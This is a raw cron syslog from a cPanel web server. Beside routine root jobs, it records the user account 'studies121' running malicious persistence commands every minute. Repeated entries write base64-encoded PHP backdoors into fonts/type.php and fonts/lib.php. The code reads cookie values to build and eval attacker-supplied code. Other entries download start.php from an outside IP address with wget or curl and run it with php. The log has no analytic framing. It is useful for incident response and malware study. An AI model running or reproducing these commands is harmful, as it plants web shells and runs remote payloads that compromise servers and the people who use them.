Sep  6 19:07:01 ip-184-168-122-23 CROND[16034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:07:01 ip-184-168-122-23 CROND[16035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:08:01 ip-184-168-122-23 CROND[16125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:08:01 ip-184-168-122-23 CROND[16128]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:08:01 ip-184-168-122-23 CROND[16129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:08:01 ip-184-168-122-23 CROND[16130]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:08:01 ip-184-168-122-23 CROND[16127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:09:01 ip-184-168-122-23 CROND[16218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:09:01 ip-184-168-122-23 CROND[16220]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 19:09:01 ip-184-168-122-23 CROND[16221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:09:01 ip-184-168-122-23 CROND[16225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:09:01 ip-184-168-122-23 CROND[16224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:10:01 ip-184-168-122-23 CROND[16316]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:10:01 ip-184-168-122-23 CROND[16318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:10:01 ip-184-168-122-23 CROND[16320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:10:01 ip-184-168-122-23 CROND[16321]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:10:01 ip-184-168-122-23 CROND[16322]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:10:01 ip-184-168-122-23 CROND[16323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:10:01 ip-184-168-122-23 CROND[16325]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 19:10:01 ip-184-168-122-23 CROND[16330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:11:01 ip-184-168-122-23 CROND[16423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:11:01 ip-184-168-122-23 CROND[16424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:11:01 ip-184-168-122-23 CROND[16427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:11:01 ip-184-168-122-23 CROND[16429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:12:01 ip-184-168-122-23 CROND[16608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:12:01 ip-184-168-122-23 CROND[16610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:12:01 ip-184-168-122-23 CROND[16611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:12:01 ip-184-168-122-23 CROND[16613]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:12:01 ip-184-168-122-23 CROND[16612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:13:01 ip-184-168-122-23 CROND[16706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:13:01 ip-184-168-122-23 CROND[16710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:13:01 ip-184-168-122-23 CROND[16709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:13:01 ip-184-168-122-23 CROND[16708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:14:02 ip-184-168-122-23 CROND[16790]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:14:02 ip-184-168-122-23 CROND[16791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:14:02 ip-184-168-122-23 CROND[16792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:14:02 ip-184-168-122-23 CROND[16795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:14:02 ip-184-168-122-23 CROND[16798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:15:01 ip-184-168-122-23 CROND[16901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:15:01 ip-184-168-122-23 CROND[16907]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 19:15:01 ip-184-168-122-23 CROND[16904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:15:01 ip-184-168-122-23 CROND[16906]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 19:15:01 ip-184-168-122-23 CROND[16905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:15:01 ip-184-168-122-23 CROND[16903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:16:01 ip-184-168-122-23 CROND[17002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:16:01 ip-184-168-122-23 CROND[17004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:16:01 ip-184-168-122-23 CROND[17005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:16:01 ip-184-168-122-23 CROND[17007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:16:01 ip-184-168-122-23 CROND[17006]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:16:01 ip-184-168-122-23 CROND[17008]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 19:17:01 ip-184-168-122-23 CROND[17179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:17:01 ip-184-168-122-23 CROND[17181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:17:01 ip-184-168-122-23 CROND[17182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:17:01 ip-184-168-122-23 CROND[17183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:18:01 ip-184-168-122-23 CROND[17278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 19:18:01 ip-184-168-122-23 CROND[17280]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:18:01 ip-184-168-122-23 CROND[17283]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 19:18:01 ip-184-168-122-23 CROND[17281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:18:01 ip-184-168-122-23 CROND[17282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:19:01 ip-184-168-122-23 CROND[17378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 19:19:01 ip-184-168-122-23 CROND[17377]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 19:19:01 ip-184-168-122-23 CROND[17379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 19:19:01 ip-184-168-122-23 CROND[17380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
